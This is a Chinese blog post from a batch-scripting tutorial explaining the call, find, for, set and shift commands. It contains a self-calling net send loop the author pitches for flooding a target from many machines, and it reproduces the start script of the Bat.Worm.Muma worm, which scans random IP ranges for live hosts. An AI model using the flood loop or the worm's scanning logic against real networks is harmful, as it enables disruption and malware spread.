那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat): 

net send %1 This is a call example. 
call a.bat 

这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。 

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat): 

call a.bat 

一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。 

9、find 

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明: 

@echo off 
netstat -a -n > a.txt 
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 
del a.txt 
pause & exit 

先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。 

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。 

10、for、set、shift 

为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一: 

@echo off 
for /? > for.txt 
set /? > set.txt 
shift /? >shift.txt 
exit 

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二: 

START.BAT: 
CALL MUMA.BAT 
SET IPA=192.168 
CALL 10.BAT 0 
:NEARAGAIN 
netstat -n|find ":" >A.TMP 
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT 
:START 
CALL RANDOM.BAT 
IF "%NUM1%"=="255" GOTO NEARAGAIN 
IF "%NUM1%"=="192" GOTO NEARAGAIN 
IF "%NUM1%"=="127" GOTO NEARAGAIN 
IF "%NUM2%"=="255" GOTO NEARAGAIN 
IF "%NUM3%"=="255" GOTO NEARAGAIN 
IF "%NUM4%"=="255" GOTO NEARAGAIN 
SET IPA=%NUM1%.%NUM2% 
ECHO START > A.LOG 
PING %IPA%.%NUM3%.1>B.TMP 
PING %IPA%.%NUM3%.%NUM4%>>B.TMP 
FIND /C /I "from" B.TMP 
IF ERRORLEVEL 1 GOTO START 
CALL 10.BAT %NUM3% 
DEL A.LOG 
GOTO START

这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。
posted on 2010-01-18 21:49  oKmAn.Org  阅读(266)  评论(0编辑  收藏  举报